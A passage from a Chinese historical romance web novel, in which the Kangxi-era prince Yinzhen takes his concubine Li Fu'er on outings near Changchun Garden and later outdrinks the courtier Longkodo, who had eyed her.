“怎么站在这里,还没安置下来?”正当李芙儿凝神思索时候,奉康熙和皇太后去歇息的胤禛,领着苏培盛走了回来。
“爷!”
见着胤禛的身影,李芙儿只觉得如释重负,就连胤禛身上那个越发脏兮兮的袍子,她都看得顺眼起来。
“您看这…”
李芙儿拉着胤禛的掌,往寝房看去:“妾住这儿,合规矩吗?”
见着这布局,胤禛不是不诧异,往年来园子的时候,他年岁小,身边没有带人伺候,是和胤禩一道住在园子东北角的清溪书屋旁。
今年因为有李芙儿随同,他才住到西花园的皇子所里。
胤禛也没料到,皇子所的屋子,竟然只有一间寝房。
按着规矩,能和胤禛同食同住的,当是福晋,尽管还没有过门,但名分摆在那里,日后李芙儿可得在福晋手下讨生活
这话,李芙儿没说,胤禛却从她忐忑的眼中看出这份意思。
看着眼前女子红润的唇被咬的泛白,胤禛伸出手,戴着翠绿玉扳指的大拇指抚上李芙儿泛白的唇。
“乖,别咬。”
唇上的痒意令李芙儿张开嘴,她忿忿看着胤禛:“爷,我到底能不能住这里。”
胤禛回忆着前几年情况:“应当没事,前几年大阿哥和三阿哥没娶福晋时,也带着身边人住过。”
这就好这就好,李芙儿拍了拍砰砰直跳的心,她既不是第一个,也不是独一个,估摸着也不是最后一个这么住的,这般行事并不惹眼。
放松下来的李芙儿,忙将已经退出去的秋菊唤进来,吩咐她听苏公公的吩咐,将行李安置好。
秋菊领命出去,除了贴身的衣裳首饰,旁的穿的用的全都要放在后头的杂物房里。
屋子里又只剩下胤禛和李芙儿二人。
“爷,这院子真好,比宫里要舒服多了。”
李芙儿解了心事,又精神起
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来,她上前给胤禛解着扣子,帮他换下脏污的衣裳,嘴里也没有停过,不断的和胤禛说一路上的见闻,对畅春园里的景色止不住的夸着。
听出李芙儿话中的满意,笑意从胤禛眼中弥漫开,他张开双臂,任凭衣裳掉落在地。
被热帕子从脖子顺着擦下,胤禛畅快地舒了口气。
“五阿哥也带了侍妾过来,白日无趣的时候可以去找她玩玩。”
尽管来了畅春园,功课也不能落下,他们这些阿哥们白日里都要去清溪书屋读书,李芙儿一个人呆在屋子里未免无趣。
胤禛仔细想过,大阿哥和三阿哥院子里住着的是福晋,太子身边伺候的人都有品级,与李芙儿也有上下之分。
胤禛不愿意李芙儿去受那些委屈。
而五阿哥虽然是宜妃的儿子,却没有宜妃的半点张扬,或许是由皇太后养大的原因,五阿哥性子最是敦厚,他这样的性子,喜欢的人必不会差到哪里。
且五阿哥比他还小,李芙儿去找他的侍妾玩,只看长幼,五阿哥的侍妾也没法摆脸色。
这份考虑,足够的细致、周到,但李芙儿听了却没表现出几分高兴。
她扭头张嘴,咬上胤禛还放在她唇上的手指。
很快,胤禛的指腹上便留下印记。
他听见李芙儿含糊不清地咕哝着:“没有爷,我找他们玩又有什么意思。”
这话,简单直接,却正好击中了胤禛隐秘的心思。
在胤禛出生长大的这么多年里,从没有人全心全意的把他放在心里。
康熙的心头肉是太子,佟佳皇后宫里养了不止一个阿哥,德妃更是生育了六个孩子。
从未得到过独一份偏爱的胤禛,热切地渴望着,有人满心满眼都是他。
胤禛瞳仁越发幽深,他用另一只手轻轻在李芙儿的脸颊上抚摸着:“那你乖乖待着,等爷忙完了,陪你去玩。”
李芙儿唇衔着胤禛的指,贝齿骤然用力,胤禛手上的齿痕又加深一圈,胤禛腹肌骤然紧绷,他发力将李芙儿抱起,大步走向寝屋。
风越来越大,荷花池里的水被夏夜的风吹出层层涟漪,久久未停。
29. 莲子
清溪书屋的功课一日也不停,胤禛每日一大早便要起床,绕过整个园子,从西南角的西花园去东北角的清溪书屋读书。
留下李芙儿在阿哥所待着。
每日早上将胤禛送走后,便没有旁的事情了。
李芙儿无意找其他女眷游玩,却也并没将自己关在屋子里,望穿秋水的等胤禛回来。
西花园虽然不大,却是个很清静的地方。
大阿哥和三阿哥的福晋白日里要进院子里伺候婆母,不在西花园待着,白天这儿勉强算得上主子的,只有李芙儿一人。
西花园的屋子被水环绕,里面种满了荷花,此时已经过了最繁盛的花期,不少荷花已经凋零,只剩下三三两两的几支,在清圆的荷叶上荡漾。
在浓绿的荷叶之下,密密的长了许多莲蓬,如圆盘般,拥拥挤挤。
李芙儿坐在水旁的栏杆上,将饽饽掰成小小一块,扔了水中。
鱼儿一拥而上,腾跃出水面,扑腾的水花溅到李芙儿脸上。
清凉而湿润。
望着咬完饽饽,迅速游回水下,只剩轻轻涟漪的水面,李芙儿弯下腰,将平底绣鞋脱下,露出白嫩的脚背。
她试探的将赤足放进水里,染着凤仙花汁的足尖浅浅的在水面画着圆圈。
等适应了水的凉意,她慢慢的将脚整个伸进水中,沁凉而舒爽,闷热的夏天带来的心浮气躁,在这一瞬间都从心底褪去。
水底的鱼儿感受到水的动静,飞快往四周散去,宽阔的水面上,处处都是涟漪。
王嬷嬷看着李芙儿的动作,脚尖往前挪了挪,又飞快撤回。
秋菊都没有劝谏,她一个西花园的办事嬷嬷,就别多事惹人嫌了。
手中的饽饽已经掰完,鱼儿绕着她游着,一阵风吹来,高高的荷叶弯下了腰,饱满的莲蓬格外显眼。
李芙儿起了兴致:“去拿个杆子来,我们摘些莲蓬,晚上给四阿哥煮莲子汤喝。”
小泽子飞快的取来一根长杆,却抓着不放手:“主子,您去栏杆上歇着,您看想要哪个,奴才一定为您摘下来。”
“这你就不懂了,莲蓬就得自己摘才有趣呢。”
李芙儿伸出手,示意小泽子将长杆给她。
小泽子苦着脸,也不敢深劝,只站在李芙儿身旁,虚虚护着,唯恐她掉到水里。
李芙儿上了岸,踩在岸边,躬着身子,深吸一口气,将手中的长杆勾住不远处的荷茎,慢慢将那一支拉到岸旁。
李芙儿空出手,眼疾手快的将那一个莲蓬摘下,早在一旁候着的秋菊,将莲蓬放在提前备好的篮子里。
等到莲蓬取下,李芙儿将手一松,轻了许多的荷茎迅速弹回去,抖几下又恢复了平静。
“干得好,回去有赏。”
李芙儿笑着赞道,随后又将她看中的另一个莲蓬勾到岸旁,照着先前的样子摘下。
亲手摘莲蓬的乐趣,可比在岸边赏花有意思多了,没多久,原先担忧不已的小泽子,也加入进来。
秋菊更是一手一个,将李芙儿摘下的莲蓬小心放好。
荷花池边笑声飞扬,甚至都忘了时间。
“这是在做什么?”
散学回来的胤禛,循声而来。
“诶,爷您回来了。”李芙儿笑着回头。
她鬓发凌乱,散出的发丝被日落的余光照出丝丝金光,但她笑眼中的光,比落日还要亮。
“我在给您摘莲蓬呢,晚上做个莲子百合汤,最是清热解暑呢。”
胤禛三两步走到李芙儿前头,原本看她玩的高兴而带笑的眼,瞬间沉了下来。
胤禛原以为李芙儿是在旁边看着,指挥着宫人摘莲蓬,等走到近处,才发现是她自己踩在水里,白玉般的赤足沾上淤泥,脏兮兮的,就连脸颊旁,也沾了几道泥巴。
胤禛的脸色瞬间变得难看。
“胡闹!”
他一把将李芙儿从水中抱出,将她扛在肩头,大步往屋子里走去。
“放开我,您放开我。”
李芙儿倒在她的肩膀上,脸朝下,只能看见地面在向后退着。
她赤足在空中蹬着,挣扎着。
“老实点。”
胤禛顺手拍了一下李芙儿的臀,不重的力度却让李芙儿面红耳赤,她止住了挣扎,任凭胤禛将她扛入屋中。
好在此时大阿哥等人还未回来,没有外人看见这一幕。
秋菊和小泽子对视一眼,拎起莲蓬往屋子走去。
王嬷嬷哆嗦着,跟在后面。
四阿哥眼见是动了怒,她没有劝谏好主子,还不知道要受什么责罚。
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等到战战兢兢的掀开帘子,王嬷嬷顿时止住脚步。
只见屋子里李主子被放在贵妃榻上,四阿哥亲自洗干净帕子,将李主子的腿抱在怀里,将她小腿上,脚上沾上的泥仔细擦过。
全然没有觉得脏污。
王嬷嬷眼一跳,她知道李主子得宠,但不知得宠到这个地步,她轻手轻脚的将帘子放下,垂手在在门旁守着。
屋子里,李芙儿干净的脚趾轻轻踩着胤禛的大腿,她含嗔带怒:“爷,您刚刚做什么啊,妾都没脸见人了。”
大眼睛忽闪忽闪的,全是控诉。
“你还说。”
胤禛被李芙儿给气笑了,他将李芙儿翻过身,在她臀上轻轻拍了两下。
“你也不看看水凉成什么样了,等着了凉再吃药,就知道痛了。”
胤禛手上的力度不重,警告意味大于实际惩罚,李芙儿却眼圈泛红,她滚到胤禛怀里哼哼唧唧:“我这是看着莲蓬好,想让您吃我亲手摘的莲子,您却不分青红皂白的罚我,我不服。”
握住李芙儿的脚踝,感觉从冰凉慢慢回温,胤禛长叹口气。
“爷错了,行吗。”
李芙儿破涕为笑,在胤禛脸上亲了口,含着泪笑道:“我给您将剥莲子。”
说着,便让秋菊将莲蓬送进来。
轻薄的门帘掀开,王嬷嬷悄悄探头,屋子里有人笑语盈盈。
四阿哥伸长腿,躺在榻上。
李主子亲自从那一篮里挑了一个最大最饱满的莲蓬,旁的都让秋菊送去厨房,她亲手将莲蓬破开,将里头的莲子一粒粒剥出。
绿色的莲子被捧在手中,李芙儿的手更显莹润。
她取过一粒莲子,小心的将外头的表皮撕去,拇指和食指捻着,递到胤禛的嘴边。
“爷,刚采下的莲蓬,莲子最嫩,莲心我不苦呢。”
胤禛眼珠黝黑,他低下头,顺势将莲子吃下。
清甜脆嫩的味道在嘴里爆发出来,夹着一点点莲心的微苦,增添了一分独特的滋味。
“滋味如何?”李芙儿期盼的看着。
胤禛眸色转浓,他低头,噙住李芙儿的唇。
莲子的清香在唇齿间爆发,缠绵缠绕,许久,胤禛喘着粗气,按住李芙儿作乱的手:“明日休假,爷带你出去逛逛!”
30. 游玩
君子一言,驷马难追。
胤禛既应了带李芙儿出去游玩,便不会食言。
前一晚上闹腾的许久,早上醒来时,李芙儿只觉得懒懒的,不想动弹。
她知晓胤禛这一日休沐,柔软的胳膊顺势将他缠住,也不让他起身。
胤禛顺势揉捏着她的肩膀,笑着问道:“不想出去玩了?”
“想!”
李芙儿瞬间坐直了身子。
如瀑的青丝顺着肩膀,垂落在胤禛的胸膛之上。
“爷您真好。”
李芙儿确认了胤禛没有说笑,取过床头的簪子,随意将头发拢起,发丝从胤禛身上拂过,如水般清凉。
胤禛手虚虚握着,好似要挽留,最终还是松开。
“秋菊,秋菊。”
李芙儿将地上的衣裳捡起,披上,便急着喊来秋菊,安排膳食。
胤禛半靠着床,听见李芙儿一叠声的吩咐,眼里全是笑意。
李芙儿白了胤禛一眼,拖长了声音:“爷,该起来啦!”
这真是,倒打一耙。
胤禛低低的笑出声来,顺着李芙儿的动作起身。
畅春园里主子比宫里少,膳房送膳的速度快上许多。
满桌子的早膳送来的时候,还是热滚滚的。
李芙儿挽起袖子,亲自帮胤禛舀了一碗粥,便被胤禛拉着坐在旁边,一道用膳。
碧粳粥喝完,又吃了两个饽饽,胤禛放下筷子,看了苏培盛一眼。
苏培盛心领神会地唤人捧着托盘进来,木质的托盘里,堆叠着崭新的衣裳。
其中一个托盘里,放着的是葱绿色纳纱金银荷花纹旗装,李芙儿一见着颜色,便知晓是特意给她做的。
“爷,这是给我新做的衣裳吗?”
李芙儿看向胤禛,见他点头后,喜滋滋的将衣裳拿起。
入手,李芙儿便发觉了不对,这衣裳的料子摸上去很是寻常,绝不是内务府里进上的东西。
甚至都比不上放这衣裳的托盘来得贵重。
李芙儿纳闷的看向胤禛,却只见胤禛颔首,示意送来的衣裳没错。
不仅没错,胤禛还伸手将另一件深蓝色荷叶纹行褂拿起,转到屏风后换上。
李芙儿纳闷的跟着换上。
没多久,两人都脱下了繁复的宫中衣裳。
等到衣裳抖开、穿上,李芙儿突然反应过来,难怪她拿着这衣裳的时候,有着莫名的熟悉。
这衣裳,完全就是她入宫前,在家的时候,见过的太太们身上的衣裳式样。
难道,这是要像戏班子演的一样,微服出巡?
李芙儿亦步亦趋跟在胤禛身后,满心的欢喜。
果然,只见胤禛领着她,到了西花园旁边的侧门。
看门的嬷嬷得了吩咐,早就打开了锁。
门外是一驾普通的青布马车,上面没有任何标识,比李芙儿从宫中坐出来的那辆还要简朴。
“你们就在这儿等着。”
胤禛冷面吩咐。
秋菊与小泽子止住了脚步,眼睁睁的看着苏培盛坐到车辙上,扬起马鞭赶车。
马蹄声声响起,顺着畅春园往南,路上不断见着骑马,拉货之人。
路上不甚平坦,苏培盛驾着马车慢慢悠悠。
李芙儿也不着急,她掀开窗户的帘子,饶有兴致地看着沿途的景象。
高大的白皮松立在道路两旁,见证了岁月变换,南飞的候鸟立在树上,叽叽喳喳的休息着。
不算宽阔的黄土路,被粗粗的整过,大块大块的石头被搬到道路的两旁,只剩下小块的石子,偶尔将马车硌得颠簸一下。
迎面过来的马车,牛车,见着他们的马车,勒着缰绳往旁边避让。
走着,走着,太阳从东边渐渐升高,马车到了街市。
苏培盛将马车停住,正准备将脚踏拿出,却见胤禛利落的跳了下来,含着笑,将宽大的手伸向李芙儿。
小麦色的掌心,是骑射磨出的厚茧,李芙儿的手搭在里面,格外纤细。
下了马车,李芙儿也没有将手松开,她轻柔地摩挲着胤禛手心的茧,胤禛只觉得心里一阵酥痒,他咳了声,手更加用力的握住,领着李芙儿往前走去。
两人并肩往不远处的街市走去,等到人潮汹涌处,才将手松开。
这条街市离畅春园不远。
原本人迹渺渺,但从畅春园开始修建起,便有附近的百姓推着车在附近叫卖着货物,等到畅春园修完,康熙多次来此避暑,达官贵人们也在附近修建起了别院。
对于柴米油盐的需求多了起来。
便有人家在此建起屋子,做起买卖,这街市瞬间繁荣起来。
人声鼎沸,声音开始嘈杂。
在这喧嚣中,李芙儿突然闻到一股霸道的幽香。
抬头,只见路旁的白皮松悄然换成了金桂。
伏天快到尽头,桂花树上已经长出了点点金光,早秋的桂花悄然逸出香味。
深绿的树影下,细碎的花蕊随着初秋的风飘下,落在李芙儿的发梢,肩上。
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>“回去让秋菊去摘些桂花,正好可以做桂花糖藕,就用咱们屋外荷塘里的藕。”
李芙儿走在胤禛身旁,兴头头的盘算着。
“小心,”胤禛将李芙儿搂住,侧身避开路上撞来的行人。
李芙儿顺势将手递到胤禛的手心,借着宽大袍袖的遮挡,十指交缠。
胤禛张了张嘴,本想说这样不庄重,欲让李芙儿放开。
低头间,却瞧见李芙儿眼中的亮光,如同他在西北大漠上,仰头瞧见的漫天星辉。
胤禛心软了下来。
他暗暗提醒自己,下不为例,便放任两人手指互相缠绕。
这个街市已经成了规模,附近王公大臣甚多,里头卖的货物,也不简单。
李芙儿和胤禛特意换上普通旗人的衣裳,在这里半点也不显眼。
不过到底是旗人,也没有人敢怠慢。
无论去哪个店,小二都笑容满面的将最新的货物拿出来。
李芙儿细细挑选着,倒也找到了一些不错的东西。
胤禛静静的等着,眼中含笑看着,等到李芙儿选中后,从荷包里掏出银子,径自付钱。
金簪挑了几枝,虽不如造办处做的精致,细细看来也有几分巧思。
金店的伙计最是机灵,见着胤禛出手阔绰,一看就不差钱的主儿。
他打千笑道:“两位贵人,我们东家新得了上好的籽料,雕刻了两个玉佩。”
清宫喜玉,玉佩,胤禛从未少过。
和田的羊脂玉在库房里都成堆,外头的的玉,再好也好不过宫里。
他兴致寥寥。
却见着李芙儿提起了兴致:“哦?你们这玉有什么特别的。”
“可别糊弄我。”
小二点头哈腰:“贵人,小人哪里敢,我们东家这料子,论品质,并不是顶级。”
胤禛暗暗点头,这店小二没说大话。
店小二小心地捧着两个玉佩放到李芙儿眼前。
“贵人您看,这玉佩最特殊的一点在于此处,这籽料的纹路,正好能够剖成两个对应的玉佩,我们店里的老师傅将这做成了一对同心佩,纹路互相应和,彼此相缠,正是您夫妻二人的象征。”
李芙儿原本饶有兴致,但听了店小二的话,她的手犹如针扎,飞快缩了回来。
她笑着回头:“这玉不好,我们去看看别的。”
但李芙儿却没能拉走胤禛。
胤禛对这同心佩很有兴致,他淡淡瞥一眼,将荷包整个扔给店小二,将这对同心佩买下。
31. 隆科多
店小二喜不自胜的要将锦盒包好,胤禛抬手止住,他走上前,将里头的两块玉佩拿出,全部递给李芙儿。
李芙儿连忙接住。
日光透过玉佩,将羊脂白玉照的恍若透明,确是民间难得的好籽料。
抬头看一眼胤禛,确认自己所想没错。
李芙儿笑意盈然,将两个玉佩都比划了一下,随后拿起略大一圈的那个,垂下眼,小心的将之挂在胤禛的腰带上。
随后将另一个在自己腰间坠好。
同心佩压在衣襟上,动作间与其他环佩碰撞,叮铛作响,两人身上的声音相互应和,如同鸳鸯绕颈。
胤禛望着这同心佩,嘴角露出愉悦的笑意。
他随手取下手上的扳指,随意的扔给店小二:“赏你了。”
店小二见一个碧油油的东西迎面飞来,眼疾手快的抓住,只觉着触手莹润,再一看水头,比那两个玉佩加起来还要值钱。
这是遇见贵人了。
店小二喜不自胜,好话一串串的吐出来,不断的祝眼前的老爷夫人白头偕老、永结同心。
李芙儿悄悄抬眼,见胤禛没有不悦,甚至眼中还有些微的笑意。
她也止住不自在,含笑听着店小二的奉承。
反正,这里不是宫中,没有人认识胤禛,更没有人知晓,她只不过是眼前人的侍妾。
在熙熙攘攘的人群中,就让她短暂的做个幻梦。
走出首饰铺子,已经日上中天,道路旁卖点心糕点的铺子也摆了出来。
烧饼的香味四溢,让路旁的人馋的直咽口水,忙不迭掏钱买上一个尝尝。
李芙儿眼睛也亮了。
自从入了宫,外头的吃食就再也没有吃过。
“饿了?”胤禛低头问道。
“没,”李芙儿揉着肚子,舔了舔唇,低头答道。
路边摆摊的东西,都是自家的手艺,李芙儿不敢赌干不干净,若是胤禛吃坏了,跟着出来的人都讨不到好。
“我就是想起在家里的时候,有好事发生时候,阿玛便带我们下馆子,那滋味真好,我和弟弟妹妹们,每次都吃得止不住。”
胤禛曾经特特看过李芙儿选修的签子,知晓她家不过是寻常人间。
听见李芙儿将下馆子说得如此隆重,胤禛心里满是怜惜,抬眼望去,正好见着前方有个三层的酒楼。
飘香楼的幌子迎风招展着,往来之人络绎不绝,在胤禛抬眼的瞬间,他见着一个眼熟的身影。
他沉吟片刻:“可怜见的,爷领你去吃个够。”
说着,便牵着李芙儿的手往飘香楼走去。
李芙儿心里松了口气,高高兴兴的随着胤禛,到了飘香楼。
这飘香楼不愧是附近最大的酒楼,赶着饭店,一层的大厅里人来人往,将所有的桌子都坐了个满满当当,没有一桌空余。
“几位贵人,我们这儿桌子都已经满了,还请您在一旁稍候一会儿。”
跑堂的小二搭着白帕子,点头哈腰的说道。
望着嘈杂的屋子,胤禛浓眉紧皱。
“爷,”胤禛什么时候受过这般怠慢,李芙儿心里虽然遗憾少了口福,却也依旧劝着:“出来大半天了,我也累了,要不咱们回家去吃。”
“不急。”
胤禛拍了拍李芙儿的手,看了眼苏培盛。
苏培盛忙从怀中掏出一个牌子,在店小二眼前晃了一下。
店小二神色大变,腰弯的更低;“是小人有眼不识泰山,三楼还留有包厢,贵人随小人过来。”
飘香楼能在畅春园不远处开得如此顺畅,东家自是个极有本事的,将下人也调理的极会看人眼色。
李芙儿拎起旗袍,走上楼梯。
到了三楼,隔着紧闭门,能听见隐约传来琵琶的弹唱之声。
沿着长长的走廊,走到尽头,便是特意给贵人留着的包间。
推开门,古意盎然的屋子跃入眼中,几乎占了整间墙的雕花窗户大开着,不远处海子的水气迎面扑来。
水天相接,心旷神怡。
李芙儿扑到栏杆处,深深呼吸,眼中是全然的惊艳。
胤禛笑着看着,随即笑着吩咐道:“将你们这儿的招牌菜全上一份。”
店小二忙应了,便要出去。
“不急。”
胤禛止住店小二的动作。
“旁边那个屋子,是谁在?”
冷汗一滴一滴的出来,隔壁屋子里,也是他得罪不起的贵人。
他讪笑着,久久不做声。
胤禛从未被人如此怠慢过,对于沉默的店小二,他却也未动怒,只笑着继续说道:“我不为难你,我和那人是旧识
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,你就说,是不是佟佳家的人?”
店小二大汗淋漓,点头默认。
“你们店里什么酒最好,给那间送一坛过去,就说是我请他们喝。”
“好勒。”
店小二如释重负,一溜小跑出去。
李芙儿从栏杆旁回来,她好奇地看向胤禛。
“刚刚在门口看见了佟佳家的隆科多,既然遇见了,不打招呼到底失礼。”
隆科多,是佟佳皇后的弟弟,若是在民间,胤禛也得喊他一声舅舅。
佟佳一族既是康熙的母族,也是后族,在前朝颇得重用,甚至有佟半朝之称。
年岁不算大的隆科多如今已经是一等侍卫,负责康熙的安全,前途一片大好。
胤禛不是安心于混日子的阿哥,他有他的野心和抱负,对于这样的御前红人,他也希望能够与之交好。
但胤禛一直在宫里读书,没有差使,没有属官,与隆科多见面机会极少,这一日意外撞见隆科多,胤禛果断选择了抓住机会。
他将酒送了过去,便是一份示好,日后再来往几回,关系也就搭上了。
李芙儿将视线移回,外头的事情,她插不上手,胤禛如是说,她也这样听。
至于到底是特意陪她下馆子,还是为了“偶遇”隆科多,她也不必想得那么清楚。
反正,胤禛今日陪她游玩了一整天,是实打实的。
人生,难得糊涂。
没多久,流水般的菜一碗接着一碗的送了进来,正中间的大桌子很快就被放满。
胤禛握住李芙儿的手,大手拂过菜肴:“试试和你阿玛带你去的馆子口味有什么差别。”
烤鸭,酱肘子,四喜丸子,京酱肉丝,一个个硬菜呈上,都是李芙儿在家下馆子常吃的东西。
她在铜盆里洗过手,擦洗干净后,亲自拿起荷叶饼,挑着肥瘦相间的鸭肉卷了一块:“爷,您尝尝这烤鸭,瞧着滋味便很好。”
皓白的手腕上,是深绿色的翡翠镯子,手一晃动,几个镯子当啷作响。
浓郁的绿好似在细腻的肌肤上投下绿影,碧波晃动间,光影流转,如梦似幻。
胤禛眼神一动,就着李芙儿的手,咬上荷叶饼。
“却是我来的不巧!”
正在这时,门被推开,一男子拊掌大笑,走了进来。
32. 拼酒
穿堂的风随着推开的门卷入,朦胧的纱帘被风吹得飘起,李芙儿见着有外男进来,忙正襟危坐,将私底下和胤禛撒娇弄痴的模样收了起来。
抬头望去,只见推门而入的青年未到而立,却穿着一品侍卫的补服,前途一片大好,正是意气风发的时候。
李芙儿了然,这便是隆科多了。
隆科多已经在一旁喝了一轮,脸上由于酒意红了大片。
听闻有故人在此,顺势拎起酒坛,走了过去。
佟佳的名号摆在那里,一般人不敢随意攀附。
更何况这次畅春园之行,伴驾的勋贵不少,说不得就是哪个旧识。
隆科多心里不断的琢磨着,推开门,没想到却见着他那“外甥”携美同游。
玩味的看着胤禛,隆科多以前一直不太喜欢这“外甥”,就是嫌他太古板,一板一眼的实在无趣。
没想到他居然也有看走眼的时候,如果他没记错,四阿哥的福晋还没有入门,四阿哥身旁那个行止亲密,漂亮的惊人的女子,只能是他的侍妾。
能够私下里陪着宠妾出游的,能是什么正经人。
隆科多嗤笑不已,他本就不是什么循规蹈矩之人,胤禛这般作派,反倒是对了他胃口。
他不经意的看了眼李芙儿,心里暗暗羡慕胤禛的艳福,但凡眼前人不是皇家人,他无论如何都得抢过来。
绝代佳人,就得配不世出的英雄才对。
李芙儿感受到那侵略性的眼神,抖了一下身子,不动声色的靠近了胤禛。
隆科多眼神暗了一瞬,将胡思乱想甩开,他胆子再大,康熙再纵容他,也不会允许他和四阿哥抢人。
手中拎着的酒“砰”地扔到桌上,隆科多指着酒,笑道:
“四阿哥,既然在此见到,就是有缘,你给我送去的酒甚好,我借花献佛,咱们喝两杯。”
胤禛看了隆科多眼中一闪而过的贪婪,挪过身子将李芙儿挡在身后,隔开隆科多的视线。
他确实是顺水推舟的找了个机会和隆科多见面,却没想到隆科多竟然胆大如厮,半点也没有将他放在眼里。
放在桌下的玉扳指飞快转动,胤禛深呼吸,不断告诫自己现在不是和隆科多翻脸的时候,他还有需要用到隆科多的地方。
李芙儿看着胤禛脖子上绷起的青筋,知晓他已然动了真怒。
李芙儿忙握住胤禛的手背,初秋的天气里,两个人的手一个比一个凉。
胤禛重重回握住李芙儿的手,他狠狠闭了闭眼,将桌上的酒坛拎起。
哗哗酒声响过,放着当陈设的黄杨木根雕里注满了酒。
这酒甚浓,酒香四溢在不大的屋子里,李芙儿只觉得她都没喝,便被酒香熏得醉了。
“我干了!”
胤禛举起那硕大的杯子,喉结滚动,烈酒全入了喉中。
“爽快!”
隆科多抚手大笑,他愈加觉得胤禛是个汉子。
索性将根雕都弃了,他令人送来海碗,琥珀色的酒液倒入碗中,一仰头,碗中酒瞬间消失不见。
见隆科多如此行事,胤禛也弃了根雕杯子,他也唤人送来海碗,随之一饮而尽。
看向隆科多的目光中,隐有挑衅之意。
“来人,送碗来。”
隆科多被胤禛的眼神激起了血性,他大声喊着,让人送来十二个海碗。
青花瓷碗依次在桌上排开,随着隆科多手腕翻转,所有的碗瞬间被填满。
最终坛中酒只淅淅沥沥的滴着。
隆科多掂量了一下手里酒坛,随手掷于地上。
他随意拿起一碗,三两口喝完。
胤禛立即跟上。
这让李芙儿忧心不已,胤禛和她刚到此处,还没来得及动筷子,正是腹内空空时候,这样喝酒格外难受。
但两人已经喝了起来,李芙儿也没法阻止,她只能趁人不注意,将苏培盛喊来,令他赶紧令厨房熬好醒酒汤。
酒一碗接着一碗,这坛喝完还有下坛,隆科多腹中渐渐也觉得难受。
他大着舌头,想要结束。
却只见胤禛轻飘飘的看了一眼,拿起碗又喝了一碗。
隆科多被激的气血上涌,毫不犹豫跟上。
地上的酒坛越来越多,饭点过去,飘香楼里的嘈杂也消失不见,李芙儿只能听见胤禛吞咽酒水,咕咚咕咚的声音。
到最后,两人一人抱着一坛酒,豪饮着。
她看着胤禛煞白的脸,恨不得能将这酒坛子抢过来,扔出去。
但胤禛握着酒坛的手指格外的紧,骨节上青白一片。
他白着脸,已然摇摇
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晃晃,却依然看着隆科多。
隆科多早就喝的混沌,他木木的一口一口的将酒咽下。
手中那坛酒没有喝完,隆科多迷蒙着眼,一头栽倒。
胤禛站着,看了隆科多许久,确定他是真的被喝趴下了,才浑身卸力般,仰头靠在椅子里。
“爷,您还好吧?”李芙儿连忙扑上,两手捧着胤禛的脸,上下摸索着,感受着手上传来源源不断的热意。
她着急忙慌的将小火温着的解酒汤盛了一碗,动作轻柔的喂给胤禛:“您赶紧喝点解酒汤,免得明儿个难受。”
胤禛顺着李芙儿的力度,靠在她的怀里,将那解酒汤喝尽。
他握住李芙儿细嫩的手腕,上下摩挲着,凑到李芙儿耳边含糊着吐出几个字,说完,也倒头睡了过去。
李芙儿的眼圈,霎时间红了。
胤禛在她耳边说的是:“出气了吗?”
在发现隆科多黏腻的目光时候,李芙儿确实感到了被冒犯的愤怒,但她心里更明白,这个愤怒,她只能压之心底。
胤禛是没有办法为她出头的。
隆科多是佟国维的儿子,佟佳皇后的幼弟,更是康熙的表弟,很得康熙的宠爱。
若是隆科多和胤禛因为李芙儿起了争执,在康熙眼里,千错万错都将是李芙儿的错,李芙儿的小命必然不保。
更何况,胤禛有他的野心和抱负,他一直都很想和隆科多拉进关系,对于这个“小舅舅”,胤禛只能敬着。
李芙儿没有指望过胤禛会为了她,得罪佟国舅。
然而胤禛却以自己作陪,将隆科多灌的酩酊大醉,脏污吐了满身。
不得不说,隆科多的这份狼狈,李芙儿看了,心里是有几分解气的。
李芙儿笑得眉眼弯弯,为他擦拭的动作更加轻柔几分,她在胤禛脸上亲了一口,眼中如有繁星闪过。
感受到李芙儿的喜悦,胤禛心情大好,空腹喝酒的难受好像都不见了踪影。
他吩咐小厮将隆科多好好送回去,又令人将这屋子点上百合香,胤禛终于掌不住,在榻上睡了过去。
这一睡,便是一下午。
月光的清辉隔着窗户闯入,月华照在胤禛的脸上,他这才稍微醒过神来,见时辰不早,起身与李芙儿坐上马车,晃晃悠悠往畅春园而去。